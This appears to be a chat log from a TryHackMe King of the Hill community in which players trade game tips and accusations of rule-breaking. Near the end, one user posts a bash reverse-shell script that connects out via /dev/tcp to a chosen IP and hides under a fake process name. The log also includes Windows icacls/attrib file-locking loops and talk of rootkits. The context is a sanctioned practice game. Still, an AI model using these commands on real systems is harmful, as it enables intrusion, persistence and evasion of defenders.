Is that cert industry recognize in red teaming side?

[steep agate]

I really have no idea, I saw some people on LinkedIn posting about this certification, but I did it just because it was on sale, I bought it for 10 dollars, so I just took advantage of it

[fossil helm]

Thm went off 📴

[fossil helm]

Ohh i see still available?

That promo 10$?

I just want to open thm to put a flag in web pentest flag and sleep so my streak will stay but it's down

Alright its back

[fossil helm]

It's nice to see a lot of players are playing koth now

@timber vale just continue to be inactive 🤣

@south pulsar

Why you leave

[steep agate]

I'm almost sure not, I got this promo a few months ago

[fossil helm]

Damn what org is crta

I see cyberwarfare

[steep agate]

yeah

CyberWarfare

[fossil helm]

It's still 10$ if you use coupon

[fossil helm]

Nah doesn't matter to that "industry recognize" the important is the knowledge that we will gain 😁

Give me the coupon 😭🤡

[steep agate]

I just tested the coupon I used, but it is no longer working 🥲

[fossil helm]

Might be new coupon code now

@steep agate how many days you studied the course

[steep agate]

In fact, I didn't see much about the course, I immediately went to schedule the exam

[opaque gull]

its still 10$

[steep agate]

Serious? Can you send me the new coupon?

I used one but apparently the other doesn't work

[chrome bloom]

hello everyone, nice to meet you. I was wondering if anyone had any problems with the production koth machine? When i use ftp to get id_rsa it just hangs. However, im able to get the other files like authorize_keys and flag.txt. Maybe im doing soemthing wrong? Any help is much appreciated!

i can see it says permission denied if using ftp -d "ip"

[ruby osprey]

Did anyone listen to the theme song of the event!! 🔥

[opaque gull]

ah same issue

and then asked me for the coupon

[opaque gull]

ok now i got the coupon, ill send you in pm

[ruby osprey]

https://tryhackme.com/games/koth/join/863e4d2ad5ff30318fe0fc35

[fossil helm]

Who else uses autopawns here

Lets play now

I will try to match your autopawns with just my bare hands

I had a list of usernames using autopawns

Why you guys are so desperate huh 😂

[fossil helm]

Can you also dm that to me bro

[radiant sun]

Here as well 🙂

[stiff egret]

Just one question, why?

[fossil helm]

Just try if my control c and v ability are fast than autopawn 😂

Imagine they're already had shell and will just do root while other players are just on their way to get foothold it's clearly unfair

😂

[stiff egret]

It is, hence private matches. Make a party do your match with group agreed upon rules.
Decentralised koth? 😂

[fossil helm]

Yeah sad, because it's their choice to get advantage

[rare pelican]

some 2-3 players used autopwns & just after they make king they delete every binaries from machine

[opaque gull]

kinda boring when you use auto the machine, enless if you can break his defense lol, thats why i switch to ctf and study for certifications

[rare pelican]

fr

[fossil helm]

Rootkit is not prohibited it's there already because there are ways to bypass it but using autopawns + lkm or userland ( ring3 ) is a greedy and a thirst for wins 😆
My first 2weeks playing koth i spent time to the machines enumerating it all reading a lot of write ups and koth tips and tricks. After that i found a formula on how to play it it's 456 😂
Luckily i found some people like @rare pelican and @light flame who helped me understand what lkm's and userland.
Also i read what matheuz put in his channel about rootkits.

[fossil helm]

If you just play koth w/o doing other lessons then you're just wasting your time

I do koth as a side quest only im aiming all the red and pentest path of thm before i move to other platform

Koth is 24mins queue in the lobby and 1hr to play. Dont let that time consumed you if you got the king then move into another tab.
Or if there's a good player that you cannot bypass his defense then let it be.

[hidden breach]

Damn u have zardus in mutuals

My goat

[honest beacon]

can someone tell me what's problem here

name on king.txt is "khanakay" and on port 9999 it shows "amansaini"

[violet zealot]

wait what?!

went from a 100 to 10?

[steep agate]

Maybe he's using LD_PRELOAD or he did that trick of redirecting traffic from port 9999 to his host and leaving the king on his machine (which is against the rules and also more unlikely), maybe it's arnout's kingkit, idk

or else he just left his nickname in king.txt and when you visited port 9999 he changed his nickname in king

[fossil helm]

Cant load rk or userland in hogwarts

[steep agate]

On all machines you can

[fossil helm]

Nah idk since i usually used manual defense unless the opponent has rk or userland

I see the dir there is no other txt been added

[fossil helm]

It might this

[steep agate]

Well, if you are playing against ch1, loading lkm will not work, if you try to load LKM or ld_preload against other players it will work on any machine

[fossil helm]

Redirecting traffic from port 9999

[steep agate]

I've played Hogwarts enough times to know this

[fossil helm]

Or he can just hide the original king and link it the user that he adds

You can still change the king.txt

But he will be still the king

[steep agate]

That has nothing to do with it...

[fossil helm]

I didn't try such tricks in hogwarts since it's sensitive machine a lot of people handle that machine wrong

They throw some code lines of to def the king right away that cause error in the king and cannot create king anymore lol

I encounter a lot of that before when i just let them get the king first

[steep agate]

When I played Koth, I saw players using dd to wipe the machine's memory after their names appeared as king. 😆

and then there was no space to create anything

[fossil helm]

Such a illegal trick 😆

[steep agate]

And it's illegal, that would be against the rules

[rare pelican]

u have to stable ur shell then u will get access to load lol

in hogwarts

[fossil helm]

Best defense in hogwarts? Just get foothold and root within 1min max 2mins cuz i can just not let you in if im there already without breaking the rules 😜

[rare pelican]

Lol someone will be alrdy ready with his binary lolz

[fossil helm]

Imagine you guys put a lot of effort in koth 😆

[fossil helm]

The who 🥲😁

[rare pelican]

https://tenor.com/view/dog-smile-shyboos-smile-gif-11176241070398833675

[fickle steppe]

is it still working, can u pls sahre if it is?

[fossil helm]

Happy Holidays everyone

https://tenor.com/view/winters-neige-hiver-bonhomme-de-neige-snowman-gif-9593630903960337809

[rare pelican]

https://tenor.com/view/dancing-cat-dancing-kitten-60fps-boogie-cat-gif-16281567468037639598

[leaden basin]

apon joinning koth public match

Can any staff member check this?

[near lily]

Probably not today.

[leaden basin]

No worries it's fixed now. Btw Merry Christmas, everyone.

[rare pelican]

[fair adder]

does koth vc be any active?

i wonder

bruh my friend is pissing me off

we in a private game but he's deleting flags

😡

bro wana play games ima bout to scrape his python http server

[brazen sluice]

Focus on becoming root and simply kick him out 🙂

https://tenor.com/view/hffgf-gif-22453222

[mystic oxide]

Hello

[mystic oxide]

Well then @fossil helm , are you tired? 😉

[fossil helm]

Bravo is there im cooked

@mystic oxide i will just make it 1001 and stop playing for a moment im just making bravo as my shield for those aiming top 5 will face him first 😆

[rare pelican]

bravo is back

happy to see him

[mystic oxide]

MDR devilxuser

[rare pelican]

[mystic oxide]

nice game

kit ?

what kit are you talking about?

[rare pelican]

nothing bro

nvm good game with you

[mystic oxide]

yes

[slate bramble]

any spectate links ? 😄

[mystic oxide]

why not participate directly?

[blazing hawk]

@fossil helm bro why r u shutting the box services u shoudnt be doing so
in the worst case change the port dont shut them thats dirty play

Been working on this machine and man it’s pretty annoying finding auto scripts and random tools left in the user’s home directory

[fossil helm]

What are you talking about brother

Im not the only player lol

What match is that

[blazing hawk]

the carnage one

nvm

private

[fossil helm]

Alright who are the other players

There are players there that has history of breaking rules

I will not tell it's up to you to find out

[blazing hawk]

absolutely snn it was a game we had fun

gg

[fossil helm]

After getting king i dont do silly things and proceed reading paths in webapp pentest

So i dont care that much in the machine on what's going on 🥲

Not until someone will dmed me so i will look at the history or processess

[fossil helm]

Alright i looked into history that slayerkkk did it lol

You can mention him here he cant deny i saw it a while ago i just let him do that lol

[blazing hawk]

No need mate

[mystic oxide]

lol @Jaydeep.Shirsath it cuts the ssh connection

[crisp edge]

No I don't

[mystic oxide]

yes yes

[crisp edge]

even my shell kill

I don't able to connect back

[mystic oxide]

normal look @fossil helm

[crisp edge]

@mystic oxide I got ssh port 65535

[mystic oxide]

lol yes I know it's me who changed to 65535

[fossil helm]

Just move to other game already

Stop using resets w/o valid reasons

[civic vortex]

This is tryhackme lol

[fossil helm]

[short oriole]

Do i need VPN to access the koth?

[mystic oxide]

yes

[near lily]

Or use the attackbox

[rare pelican]

https://tryhackme.com/games/koth/115363

here we all are stucked from 20-30 min there is no reset button also reflect all are stcuked here in this lobby expired for long time anyone pls check it out

it been a long minute of expiration

[fair adder]

Yep same

[fossil helm]

Advance Happy New Year my THM friends, KoTH players and Everyone! 🎇🎆🎉

https://tenor.com/view/cat-gif-6615073470704349838

Cheers 🥂🍷

[fair adder]

Why the machine is showing scheduled for now like 30mins
https://tryhackme.com/games/koth/115370

[rare pelican]

Happy new year my bro

[rare pelican]

Yea same issue

That's why currently I am not playing

[fair adder]

like is there something wrong with server or what?

[rare pelican]

Don't know

[fair adder]

Same I will also then play later

Why the IP is not showing even if the game is running
https://tryhackme.com/games/koth/115370

[rare pelican]

Max reset happen or not?

Still ip not came?

[fair adder]

nope I think other players are not even watching

[rare pelican]

One reset need

1/2

[fair adder]

I clicked but its saying "You have already requested for a reset"

[rare pelican]

U can only reset it one time one player

[fair adder]

I left, today KOTH is not working

[fossil helm]

https://tenor.com/view/thank-you-thank-you-sir-aww-thanks-gif-7826538383492806977

Yk it bro 🥂💀

[leaden basin]

Happy new year guys

[verbal garden]

why koth is not working?

is it only me, who's facing an issue?

[fair adder]

Happy new year Guysssss

[fair adder]

same here

[verbal garden]

oh okayy

[broken pilot]

Happy new year

[rare pelican]

Same to you bro 😇

[mystic oxide]

Happy new year

[fossil helm]

After almost 4 months finally finished while playing koth 😆

Just a small rant to thm atleast add points to walkthroughs? Look if someone finishes those path they're still in Omni rank 😅

Also i have some ctf rooms not related to that paths

[near lily]

#feedback-and-ideas

[fossil helm]

@short tusk

[fossil helm]

i just did what it said

https://tenor.com/view/baby-running-oops-wrongway-gif-342679303393949979

I mean if you finished those paths you should be atleast in

Wizzard rank

because the nose and the brain bleed is not that easy finishing those paths to someone a beginner like me

[mystic oxide]

nice, me still learning

[fossil helm]

Can you stop resetting machine?

[fossil helm]

Nice!

[fossil helm]

I will also finish pentest+ and offsec since it was 45% and 71% after finishing that pentest paths.

[fair adder]

Sryy brother

[mystic oxide]

nice bro

[brittle flicker]

Eheheh, this Koth guy seems popular :3

[mystic oxide]

yes

[rare pelican]

why you always reset the box dont know how to play?

[mystic oxide]

why do you use scripts to become root 5 seconds after the machine is started, what is the point?

[rare pelican]

i did manually

no script

ask @fossil helm he knows me i dont use scripts to get root

i devlop that speed on my own not script dont blame me

[mystic oxide]

you don't even take the time to navigate in the ftp to retrieve the information etc... you have already saved everything, what's the point?

[rare pelican]

why would i when i alrdy saved the keys

every player did that to save time

infact thinktwice bravo everyone alrdy save it to save time

[mystic oxide]

ah ok I don't understand the point but ok well done to you then

[rare pelican]

ready everything before match that's a thing

[mystic oxide]

so you leave no chance for the beginner to have the king then.

[rare pelican]

learn to break

[mystic oxide]

but well done to you, well done

[mystic oxide]

ok

[rare pelican]

[mystic oxide]

why are you trying to shutdown the machine?

316 shutdown

and make blocking rules in the firewall?

@rare pelican why : 250 ufw
251 iptables
252 iptables --show
253 iptables -h

[rare pelican]

i didnt

ig maybe @fair adder

he is doing

i am not doing anything in the machine

[fair adder]

bro I am also not playing

[rare pelican]

i am in food

me too not playinh

[fair adder]

GHOST

[mystic oxide]

tryhackme rule number 1: The machine must not be made unavailable (shutdown/restart, firewall/iptables rules to stop all communication)

[rare pelican]

not me

[rare pelican]

but not me

[fair adder]

I am not playing

[rare pelican]

i am not in the machine tho

[mystic oxide]

lol well no it's nobody then LOL

[fair adder]

same here

[rare pelican]

do u get from history

lol

u checking ur own

[mystic oxide]

mdr no, history root

[rare pelican]

bro there u will capture ur own

i didnt do ssomthing to iptables tho

[mystic oxide]

I don't even know how to use it

[mystic oxide]

It doesn't matter at least you have the king only for you it doesn't matter, but I don't understand the point, even for you, it must not be fun to play alone.

[rare pelican]

then ask him @fossil helm

[rare pelican]

see koth is fun if player like some lkm users u will learn some good anlysis

[mystic oxide]

or simply at least respect THM rule number 1

[rare pelican]

i am telling u again i didn't do anything

didnt touched the iptables thoo

[mystic oxide]

at least you have the king in 10 seconds, you are the best nice.

[rare pelican]

see i alrdy blocked shutdown why would i do that that doesnt make logic of urs?

& ur checking ur own root history tho bro

[mystic oxide]

I'll come back later, good game

[steep agate]

😂

Koth is funny

players do something wrong and then don't want to take the blame

[leaden basin]

 [BIN: /usr/sbin/service] service ssh stop 
 [BIN: /usr/bin/basename] basename /usr/sbin/service 
 [BIN: /usr/bin/basename] basename /usr/sbin/service 
 [BIN: /bin/systemctl] systemctl --quiet is-active multi-user.target 
 [BIN: /bin/sh] sh /bin/systemctl --quiet is-active multi-user.target 
 [BIN: /bin/sed] sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p 
 [BIN: /bin/systemctl] systemctl list-unit-files --full --type=socket 
 [BIN: /bin/sh] sh /bin/systemctl list-unit-files --full --type=socket 
 [BIN: /usr/local/sbin/systemctl] systemctl stop ssh.service 
 [BIN: /usr/local/bin/systemctl] systemctl stop ssh.service 
 [BIN: /usr/sbin/systemctl] systemctl stop ssh.service 
 [BIN: /usr/bin/systemctl] systemctl stop ssh.service 
 [BIN: /sbin/systemctl] systemctl stop ssh.service 
 [BIN: /bin/systemctl] systemctl stop ssh.service 
 [BIN: /bin/sh] sh /bin/systemctl stop ssh.service

@mystic oxide you should not talk about rules first blame your self 🤣

[mystic oxide]

??? lol I'm not even here

[rare pelican]

we knows you very well bro what u did yesterday & see i didnt break any rule u checking ur own history log sounds so cringe

[leaden basin]

lol i have proof after this you use mount trick from @steep agate repo 🤣

that have your name in 😂

[fair adder]

😂 😂

[fair adder]

tryhackme rule number 1: The machine must not be made unavailable (shutdown/restart, firewall/iptables rules to stop all communication)

[rare pelican]

[trim patrol]

New here. What can I do?

[mystic oxide]

Hi, if you want you can participate in THM's KOTH here: https://tryhackme.com/games/koth

[fossil helm]

What's the trouble here 💀

Cant koth cant do thm rooms have a job maybe later lol

https://tenor.com/view/blackish-crying-cry-tears-sad-gif-5613528

[crisp edge]

https://tryhackme.com/r/p/ThisizAmen this user is breaking rule

[near lily]

Please contact support

[knotty mica]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Jan 6, 2025, 2:12 PM

[leaden basin]

https://tryhackme.com/games/koth/115817

15 min in the game and he reset like 8 times

[rare pelican]

In koth people reset for no reason 🤣

[magic oyster]

There will be a game in 20 minutes, join us! It's going to be fun!

https://tryhackme.com/games/koth/join/7713b4639bf2164b75a92b85

[magic oyster]

goodluck, fellows!

[magic oyster]

@fair adder nice game buddy

[fair adder]

Thx bro

[magic oyster]

gg

[mystic oxide]

@fossil helm nice game Offline

on the other hand on Production, your loop with chattr breaks the shell, so we can't do anything anymore

@fossil helm ha and you also deleted the entry for sh and bash, ha yes there it is sure that we can no longer do anything, it's a shame

[fossil helm]

didnt do anything aside from defending king

[mystic oxide]

ah yes it is sure that he is well defended lol

we can no longer access the box

[fossil helm]

someone just patched after killing shells lol

[mystic oxide]

in any case it seems to me that this is the very first time that I manage to finish a KOTH in front of you, but hey it was a windows box. In any case nice game

nice game on offline

but I still have to learn a lot under Linux, I'm not very good at the king under Linux, when you're there, well yes it's dead to win LOL

[mystic oxide]

I asked you a question in PM, when you have 5 minutes to watch, thank you

[sour vector]

Gave +1 Rep to @fossil helm (current: #1030 - 4)

[strange sigil]

damn since when did koth get so tense lmao

[mystic oxide]

lol @fossil helm why all delete : [] Opening SVCManager on 10.10.146.61.....
[] Stopping service gqKx.....
[] Removing service gqKx.....
[] Removing file vOqiSOXH.exe.....

not cool even the 2 boxes before this one, you delete all access to the box, luckily we were able to reset the box so that @leaden basin passes in front of you because otherwise no one can play anymore.

[fossil helm]

?

[mystic oxide]

lol like???

[fossil helm]

what? lol

food?

didnt even play after getting king lol

you guys just reset and i didnt care lol

[mystic oxide]

why on Linux VMs do you cut all access to the box, so it's unplayable

[fossil helm]

not me

someone just killed shell ik who did it lol

[mystic oxide]

yes normal there is only that to do, you block everything

[fossil helm]

you block? me? lol

[mystic oxide]

lol you said the same thing the other day

[fossil helm]

youre a legend rank and you dont know what youre talking

lmfao

[mystic oxide]

but it's not necessarily against you, but it's a shame that you play like that, you block all access to the box

[fossil helm]

idiot not me

ask it to niko lmfao

before you reset the box nikko got the king from me

you blind?

he kicked you all ol

lol

sometimes use the logic why you went into that thm rank bro kol

lol

[mystic oxide]

yes yes if we had not reset the box, we could not do anything, so yes with @leaden basin we reset the box.

[fossil helm]

i already told you still you didnt understand

i didnt play in 3 resets

[mystic oxide]

I'm just asking you why you block all access to the box once you enter it? It's just a question

[leaden basin]

@fossil helm lol fix your lkm breaking the machine blameing other is easy

[fossil helm]

read what he said

he accuse me

i dint even play

lmfao

after i been kicked in the machine

[leaden basin]

Lol then does't mean you will accuse other lol

[fossil helm]

i told him to ask you since he was accusing me lmfao

its like he accuse anshul a while back

but he doesnt know what he is accusing

[mystic oxide]

we just see that when you play, 10 seconds later the box becomes inaccessible that's all

[fossil helm]

you played to me a while ago

did you see that? lol

[mystic oxide]

block services and change all passwords, I'm just saying it's not very cool that's all

[fossil helm]

you cannot access because someone killed the shell

he didnt change passs

lmfao

anyways its hard to explain to you dont know that

i am also the victim of that killing shell a while ago so i didnt play after that

@mystic oxide next time be careful mentioning someone here lmfao

[mystic oxide]

?

[fossil helm]

if you dont know what are you talking lmfao

[steep agate]

https://tenor.com/view/panda-bear-fight-gif-13253482156340934104

[mystic oxide]

lmfao ?

[fossil helm]

someone just loop the killing shell

lmfao

he cried

he said "block all access"

no need because shell already killed in loop

[steep agate]

read -p "Enter the name of the process you want: " procname
read -p "Enter your IP: " ip
read -p "Enter your PORT: " port

#rev
/usr/bin/setsid /bin/bash -c "exec -a '$procname' /bin/bash &>/dev/tcp/$ip/$port 0>&1 &" 

echo "revshell was run with your process name."```

try using a different process name

and so someone who doesn't know anything about Linux won't be able to kill your pid

[fossil helm]

I can escape with that loop also

[fossil helm]

good tip

[steep agate]

https://tenor.com/view/linux-meme-joke-arch-linux-gif-22308196

nice

[fossil helm]

but i didnt put persistent and killed it by myself bc it would be useless also if someone will just kill the process

[fossil helm]

https://tenor.com/view/windows-gif-19668884

@mystic oxide hows the windows machine

i am asking in a nice way

[mystic oxide]

what question?

[steep agate]

Windows is cool, you can play a lot with ACL/Attributes of a file in koth, you can also make a ring3 rootkit for Windows

It would be nice to have an AD machine with ADCS (Certificate Services), can be predicted many people abusing certificates for persistence

[fossil helm]

can you bypass?

[mystic oxide]

bypass what?

[fossil helm]

the h1medium

[steep agate]

most people who play windows machines in koth (that's when I played, I stopped playing last year), just used loops with attrib and icacls

what is easy to bypass

[fossil helm]

most of players just using your windows tip in github

[steep agate]

serious? interesting

[fossil helm]

i have my own in h1medium but in offline im trying to figure it out

[steep agate]

I thought no one would see my repo anymore

[mystic oxide]

ha I don't know, I'm not on it anymore, I'm here to chat with you

[fossil helm]

you tried ik that

[mystic oxide]

yes yes, thanks to you I learned a lot of things, did a lot of tests on personal VMs

[sour vector]

Gave +1 Rep to @steep agate (current: #112 - 68)

[steep agate]

Oh nice!

[mystic oxide]

and I still have a lot to learn, but a little bit every day, slowly but surely lol

[steep agate]

yeah

[fossil helm]

you will not be on it anymore because i locked it same as what you did xD

[mystic oxide]

no I just tried to invoke my king that's all, but yes I had no rights

[mystic oxide]

attrib +r and icasls I think

*icacls

[fossil helm]

i can unlock it but yeah its ok to be in that way 1min king lol

[mystic oxide]

yes lol i have the same problem with icacls

just with attrib, no problem for the king

[fossil helm]

@mystic oxide i unlocked it

just try

[steep agate]

:loop
icacls "king.txt" /grant:r *S-1-1-0:F & attrib -r -s -h "king.txt"
goto loop

problem solved

[mystic oxide]

I'm not in the box anymore

[mystic oxide]

you are a boss, thank you

[sour vector]

Gave +1 Rep to @steep agate (current: #111 - 69)

[fossil helm]

i returned the pass into the default

[steep agate]

for block write in king.txt in all users

the only problem is that this will literally lock king.txt, and therefore you will not earn points every 1 minute

[fossil helm]

yeah

[mystic oxide]

I use this command myself
icacls "C:\Users\Administrator\king-server\king.txt" /deny everyone:(W,D)

[fossil helm]

you spammed it yesterday

[steep agate]

btw, it's worth mentioning that running loops like this can slow down the machine, just as running loops in bash on Linux can also slow down the machine a little.

but I don't think there's anything that could harm other players, it's just something to know

[mystic oxide]

no because I have no point with it, yesterday on windows, I simply deleted your king and uploaded mine on top

[fossil helm]

try it in h1medium now

[mystic oxide]

directly from the meterpreter

[fossil helm]

i can patch the smbserver config

so no one can exploit the offline using msfconsole

[mystic oxide]

ok nice

[fossil helm]

but i just let you in

[mystic oxide]

ok thanks

[fossil helm]

anyways this is good room in offsec pent @mystic oxide